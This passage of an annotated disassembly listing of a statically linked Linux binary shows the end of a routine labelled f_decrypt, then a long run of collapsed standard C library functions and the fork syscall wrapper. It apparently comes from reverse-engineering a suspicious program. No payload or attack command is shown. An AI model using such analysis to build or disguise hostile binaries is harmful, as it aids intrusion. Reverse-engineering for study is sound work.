	  mov	esi, [ebp+p_destination]
	  push	esi			; str
	  call	__IO_sprintf
	  add	esp, 10h
 sprintf(p_destination,	"%c%s",	substraction_result, p_tmp);
	  dec	ebx
	  jns	loop			; edx =	ebx - 1
}

end:					; CODE XREF: f_decrypt+26j
	  lea	esp, [ebp-10h]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_decrypt endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4
-------------------------------------------------------------------------------------------------------
------------------------------------ C LIBRARY ----------------------------------------------
-------------------------------- a@TheLinuxCLibr ----------------------------------------
------------------------------ Linux C library 5.3.12 --------------------------------------
-------------------------------------------------------------------------------------------------------
; [000001E4 BYTES: COLLAPSED FUNCTION _setenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000065 BYTES: COLLAPSED FUNCTION _unsetenv. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000008A BYTES: COLLAPSED FUNCTION sub_804A4F4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000049 BYTES: COLLAPSED FUNCTION sub_804A580. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000040A BYTES: COLLAPSED FUNCTION sub_804A5CC. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000E26 BYTES: COLLAPSED FUNCTION sub_804A9D8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000006AD BYTES: COLLAPSED FUNCTION sub_804B800. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000CF BYTES: COLLAPSED FUNCTION _gethostent. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000002B4 BYTES: COLLAPSED FUNCTION _gethostbyname. PRESS KEYPAD "+" TO EXPAND]
; [00000301 BYTES: COLLAPSED FUNCTION _gethostbyaddr. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003C BYTES: COLLAPSED FUNCTION __sethtent. PRESS	KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION __endhtent. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000158 BYTES: COLLAPSED FUNCTION __gethtent. PRESS	KEYPAD "+" TO EXPAND]
; [000002E5 BYTES: COLLAPSED FUNCTION __gethtbyname. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000001AF BYTES: COLLAPSED FUNCTION sub_804C9E4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000050 BYTES: COLLAPSED FUNCTION __gethtbyaddr. PRESS KEYPAD "+" TO EXPAND]
; [000002A5 BYTES: COLLAPSED FUNCTION sub_804CBE4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000027 BYTES: COLLAPSED FUNCTION _inet_addr. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000177 BYTES: COLLAPSED FUNCTION _inet_aton. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000274 BYTES: COLLAPSED FUNCTION _dn_expand. PRESS	KEYPAD "+" TO EXPAND]
; [00000163 BYTES: COLLAPSED FUNCTION _dn_comp.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000052 BYTES: COLLAPSED FUNCTION ___dn_skipname. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002A BYTES: COLLAPSED FUNCTION sub_804D458. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000233 BYTES: COLLAPSED FUNCTION sub_804D484. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000001B BYTES: COLLAPSED FUNCTION __getshort. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION __getlong. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION ___putshort. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000027 BYTES: COLLAPSED FUNCTION ___putlong. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000722 BYTES: COLLAPSED FUNCTION _res_init. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000010B BYTES: COLLAPSED FUNCTION sub_804DE68. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003D BYTES: COLLAPSED FUNCTION sub_804DF74. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION _res_randomid. PRESS KEYPAD "+" TO EXPAND]
; [0000019F BYTES: COLLAPSED FUNCTION _res_query. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000217 BYTES: COLLAPSED FUNCTION _res_search. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000F7 BYTES: COLLAPSED FUNCTION _res_querydomain.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000001A5 BYTES: COLLAPSED FUNCTION ___hostalias. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000005A BYTES: COLLAPSED FUNCTION sub_804E638. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000041 BYTES: COLLAPSED FUNCTION sub_804E694. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000F BYTES: COLLAPSED FUNCTION _res_send_setqhook. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000000F BYTES: COLLAPSED FUNCTION _res_send_setrhook. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000189 BYTES: COLLAPSED FUNCTION _res_isourserver.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000BE BYTES: COLLAPSED FUNCTION _res_nameinquery.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000C7 BYTES: COLLAPSED FUNCTION _res_queriesmatch. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000AEA BYTES: COLLAPSED FUNCTION _res_send. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000039 BYTES: COLLAPSED FUNCTION __res_close. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION ___errno_location. PRESS KEYPAD "+" TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION __IO_fclose. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000005B BYTES: COLLAPSED FUNCTION __IO_fgets. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000060 BYTES: COLLAPSED FUNCTION __IO_fopen. PRESS	KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __IO_fprintf. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000060 BYTES: COLLAPSED FUNCTION __IO_fread. PRESS	KEYPAD "+" TO EXPAND]
; [000000B8 BYTES: COLLAPSED FUNCTION __IO_getline. PRESS KEYPAD "+" TO	EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION __IO_printf. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000018 BYTES: COLLAPSED FUNCTION __IO_sprintf. PRESS KEYPAD "+" TO	EXPAND]
; [00000065 BYTES: COLLAPSED FUNCTION __IO_vsprintf. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00003143 BYTES: COLLAPSED FUNCTION __IO_vfprintf. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000002D0 BYTES: COLLAPSED FUNCTION sub_80529CC. PRESS KEYPAD	"+" TO EXPAND]
; [000000F5 BYTES: COLLAPSED FUNCTION sub_8052C9C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
	  push	ebp
	  mov	ebp, esp
	  push	esi
	  push	ebx
	  mov	ebx, [ebp+8]
	  mov	esi, [ebx+54h]
	  mov	edx, [ebx+14h]
	  sub	edx, [ebx+10h]
	  jz	short loc_8052DBB
	  mov	eax, [esi+50h]
	  push	edx
	  mov	edx, [ebx+10h]
	  push	edx
	  push	esi
	  mov	eax, [eax+34h]
	  call	eax
	  sub	[ebx+14h], eax
	  add	esp, 0Ch

loc_8052DBB:				; CODE XREF: .text:08052DA5j
	  mov	edx, [ebx+14h]
	  cmp	[ebx+18h], edx
	  jbe	short loc_8052DD4
	  mov	al, [ebp+0Ch]
	  mov	[edx], al
	  and	eax, 0FFh
	  inc	dword ptr [ebx+14h]
	  jmp	short loc_8052DDF
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_8052DD4:				; CODE XREF: .text:08052DC1j
	  movzx	eax, byte ptr [ebp+0Ch]
	  push	eax
	  push	ebx
	  call	___overflow

loc_8052DDF:				; CODE XREF: .text:08052DD0j
	  lea	esp, [ebp-8]
	  pop	ebx
	  pop	esi
	  mov	esp, ebp
	  pop	ebp
	  retn
; [00000097 BYTES: COLLAPSED FUNCTION sub_8052DE8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000B1 BYTES: COLLAPSED FUNCTION __IO_str_init_static. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000021 BYTES: COLLAPSED FUNCTION __IO_str_init_readonly. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000011E BYTES: COLLAPSED FUNCTION __IO_str_overflow. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000052 BYTES: COLLAPSED FUNCTION __IO_str_underflow. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000018 BYTES: COLLAPSED FUNCTION __IO_str_count. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __IO_str_seekoff.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000027 BYTES: COLLAPSED FUNCTION __IO_str_pbackfail. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000032 BYTES: COLLAPSED FUNCTION __IO_str_finish. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000133 BYTES: COLLAPSED FUNCTION sub_80531DC. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00001918 BYTES: COLLAPSED FUNCTION ___printf_fp. PRESS KEYPAD "+" TO	EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION sub_8054C28. PRESS KEYPAD	"+" TO EXPAND]
; [0000013B BYTES: COLLAPSED FUNCTION sub_8054C7C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000036 BYTES: COLLAPSED FUNCTION _rewind. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION _setbuf. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000047 BYTES: COLLAPSED FUNCTION _register_printf_function. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000059 BYTES: COLLAPSED FUNCTION sub_8054E54. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000018 BYTES: COLLAPSED FUNCTION _syslog. PRESS KEYPAD "+"	TO EXPAND]
; [000003E6 BYTES: COLLAPSED FUNCTION _vsyslog.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000C1 BYTES: COLLAPSED FUNCTION _openlog.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000000E BYTES: COLLAPSED FUNCTION _closelog. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION _setlogmask. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000020E BYTES: COLLAPSED FUNCTION sub_80553A0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000049 BYTES: COLLAPSED FUNCTION _usleep. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000006B BYTES: COLLAPSED FUNCTION _execl. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000005C BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_80556C4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000011B BYTES: COLLAPSED FUNCTION _sleep. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000001B5 BYTES: COLLAPSED FUNCTION _system. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000021A BYTES: COLLAPSED FUNCTION ___srandom. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000017C BYTES: COLLAPSED FUNCTION ___initstate. PRESS KEYPAD "+" TO	EXPAND]
; [000000FE BYTES: COLLAPSED FUNCTION ___setstate. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000094 BYTES: COLLAPSED FUNCTION ___random. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000086 BYTES: COLLAPSED FUNCTION ___new_exitfn. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000070 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [000003D0 BYTES: COLLAPSED FUNCTION ___strtol_internal. PRESS	KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION _bcmp. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000AC BYTES: COLLAPSED FUNCTION _bcopy. PRESS KEYPAD "+" TO EXPAND]
; [00000042 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000086 BYTES: COLLAPSED FUNCTION _memmove.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000045 BYTES: COLLAPSED FUNCTION _strcasecmp. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000023 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000040 BYTES: COLLAPSED FUNCTION _strdup. PRESS KEYPAD "+"	TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION _strerror. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000014E BYTES: COLLAPSED FUNCTION _strncasecmp. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [000000C3 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000082 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000067 BYTES: COLLAPSED FUNCTION ___gethostname. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003E BYTES: COLLAPSED FUNCTION _signal. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000030 BYTES: COLLAPSED FUNCTION ___waitpid. PRESS	KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION _accept. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000046 BYTES: COLLAPSED FUNCTION _bind. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000046 BYTES: COLLAPSED FUNCTION _connect.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000040 BYTES: COLLAPSED FUNCTION _listen. PRESS KEYPAD "+"	TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION _recv. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION _recvfrom. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000004C BYTES: COLLAPSED FUNCTION _send. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION _sendto. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000055 BYTES: COLLAPSED FUNCTION _setsockopt. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000046 BYTES: COLLAPSED FUNCTION _socket. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_8056D3C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000D0 BYTES: COLLAPSED FUNCTION ___libc_init. PRESS KEYPAD "+" TO	EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __strerror_internal. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION sub_8056E64. PRESS KEYPAD	"+" TO EXPAND]
; [000002C2 BYTES: COLLAPSED FUNCTION ___writev. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___chdir.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___close.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION ___dup2. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___execve. PRESS KEYPAD "+" TO EXPAND]
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; Attributes: library function bp-based	frame

; int __fork(void)
___fork	  proc near			; CODE XREF: f_main+A1p f_main+C2p ...
	  push	ebp
	  mov	ebp, esp
	  mov	eax, 2
	  int	80h			; LINUX	- sys_fork
	  mov	edx, eax
	  test	edx, edx
	  jge	short loc_8057208
	  neg	edx
	  push	edx
	  call	sub_8056E64
	  pop	edx
	  mov	[eax], edx
	  mov	eax, 0FFFFFFFFh

loc_8057208:				; CODE XREF: ___fork+Ej
	  mov	esp, ebp
	  pop	ebp
	  retn
___fork	  endp

; [00000024 BYTES: COLLAPSED FUNCTION ___geteuid. PRESS	KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION ___getpid. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION ___gettimeofday. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___ioctl.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION ___kill. PRESS KEYPAD "+"	TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_open. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_read. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000024 BYTES: COLLAPSED FUNCTION ___libc_setsid. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_sigprocmask. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___libc_uname. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___libc_unlink. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_write. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___alarm.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___libc_time. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_syscall_writev. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000025 BYTES: COLLAPSED FUNCTION ___select. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000051 BYTES: COLLAPSED FUNCTION ___sigaction. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000038 BYTES: COLLAPSED FUNCTION _sigsuspend. PRESS KEYPAD	"+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION ___setfpucw. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000008 BYTES: COLLAPSED FUNCTION ____sig_restore. PRESS KEYPAD "+"	TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION ____masksig_restore. PRESS KEYPAD	"+" TO EXPAND]
; [000001A1 BYTES: COLLAPSED FUNCTION _memchr. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000004F BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
	  align	10h
; [000001AE BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000016C BYTES: COLLAPSED FUNCTION _index. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
; [000000B5 BYTES: COLLAPSED FUNCTION _strpbrk.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000001BF BYTES: COLLAPSED FUNCTION _rindex. PRESS KEYPAD "+"	TO EXPAND]
	  align	10h
; [000000B3 BYTES: COLLAPSED FUNCTION _strspn. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000032 BYTES: COLLAPSED FUNCTION ___isinf.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003E BYTES: COLLAPSED FUNCTION ___isinfl. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000033 BYTES: COLLAPSED FUNCTION ___isnan.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION ___isnanl. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003F BYTES: COLLAPSED FUNCTION ___mpn_cmp. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000010A BYTES: COLLAPSED FUNCTION ___mpn_extract_double. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000059D BYTES: COLLAPSED FUNCTION ___mpn_divmod. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000D7 BYTES: COLLAPSED FUNCTION ___mpn_extract_long_double. PRESS	KEYPAD "+" TO EXPAND]
	  align	8
; [0000005B BYTES: COLLAPSED FUNCTION ___mpn_lshift. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000066F BYTES: COLLAPSED FUNCTION ___mpn_mul. PRESS	KEYPAD "+" TO EXPAND]
	  align	8
; [0000003F BYTES: COLLAPSED FUNCTION ___mpn_mul_1. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000226 BYTES: COLLAPSED FUNCTION _____mpn_mul_n_basecase. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [000006D2 BYTES: COLLAPSED FUNCTION _____mpn_mul_n. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000021A BYTES: COLLAPSED FUNCTION _____mpn_sqr_n_basecase. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000612 BYTES: COLLAPSED FUNCTION _____mpn_sqr_n. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000064 BYTES: COLLAPSED FUNCTION ___mpn_mul_n. PRESS KEYPAD "+" TO	EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION ___mpn_rshift. PRESS KEYPAD "+" TO EXPAND]
	  align	8
; [0000009E BYTES: COLLAPSED FUNCTION ___mpn_sub_n. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000003F BYTES: COLLAPSED FUNCTION ___mpn_submul_1. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION sub_805A0F0. PRESS KEYPAD	"+" TO EXPAND]
; [00000135 BYTES: COLLAPSED FUNCTION sub_805A11C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000330 BYTES: COLLAPSED FUNCTION sub_805A254. PRESS KEYPAD	"+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION sub_805A584. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000070 BYTES: COLLAPSED FUNCTION sub_805A5C4. PRESS KEYPAD	"+" TO EXPAND]
; [00000094 BYTES: COLLAPSED FUNCTION sub_805A634. PRESS KEYPAD	"+" TO EXPAND]
; [00000055 BYTES: COLLAPSED FUNCTION sub_805A6C8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000C4 BYTES: COLLAPSED FUNCTION sub_805A720. PRESS KEYPAD	"+" TO EXPAND]
; [000002D9 BYTES: COLLAPSED FUNCTION sub_805A7E4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000046A BYTES: COLLAPSED FUNCTION sub_805AAC0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002D BYTES: COLLAPSED FUNCTION sub_805AF2C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000B4 BYTES: COLLAPSED FUNCTION _tzset. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION _tzsetwall. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000000C3 BYTES: COLLAPSED FUNCTION sub_805B048. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000001C BYTES: COLLAPSED FUNCTION _localtime. PRESS	KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION _localtime_r. PRESS KEYPAD "+" TO	EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION sub_805B144. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000001C BYTES: COLLAPSED FUNCTION _gmtime_r. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION _gmtime. PRESS KEYPAD "+"	TO EXPAND]
; [0000031B BYTES: COLLAPSED FUNCTION sub_805B1C4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000004E BYTES: COLLAPSED FUNCTION _asctime_r. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000015 BYTES: COLLAPSED FUNCTION _asctime.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000016 BYTES: COLLAPSED FUNCTION _ctime. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000024 BYTES: COLLAPSED FUNCTION _ctime_r.	PRESS KEYPAD "+" TO EXPAND]
; [00000059 BYTES: COLLAPSED FUNCTION sub_805B584. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000039 BYTES: COLLAPSED FUNCTION sub_805B5E0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000002F5 BYTES: COLLAPSED FUNCTION sub_805B61C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000013B BYTES: COLLAPSED FUNCTION sub_805B914. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000017 BYTES: COLLAPSED FUNCTION _mktime. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000001E BYTES: COLLAPSED FUNCTION _timegm. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [000000A9 BYTES: COLLAPSED FUNCTION sub_805BA88. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002D BYTES: COLLAPSED FUNCTION sub_805BB34. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000008E BYTES: COLLAPSED FUNCTION sub_805BB64. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000017F BYTES: COLLAPSED FUNCTION sub_805BBF4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000051A BYTES: COLLAPSED FUNCTION ___libc_malloc. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000267 BYTES: COLLAPSED FUNCTION ___libc_free. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [000002E2 BYTES: COLLAPSED FUNCTION ___libc_realloc. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000010F BYTES: COLLAPSED FUNCTION ___libc_memalign.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000015 BYTES: COLLAPSED FUNCTION ___libc_valloc. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000040 BYTES: COLLAPSED FUNCTION ___libc_calloc. PRESS KEYPAD "+" TO EXPAND]
; [000000AE BYTES: COLLAPSED FUNCTION _malloc_trim. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION _malloc_usable_size. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000184 BYTES: COLLAPSED FUNCTION sub_805CA24. PRESS KEYPAD	"+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION _malloc_stats. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION ___libc_mallinfo.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000006A BYTES: COLLAPSED FUNCTION ___libc_mallopt. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000013D BYTES: COLLAPSED FUNCTION sub_805CCB0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000091 BYTES: COLLAPSED FUNCTION sub_805CDF0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
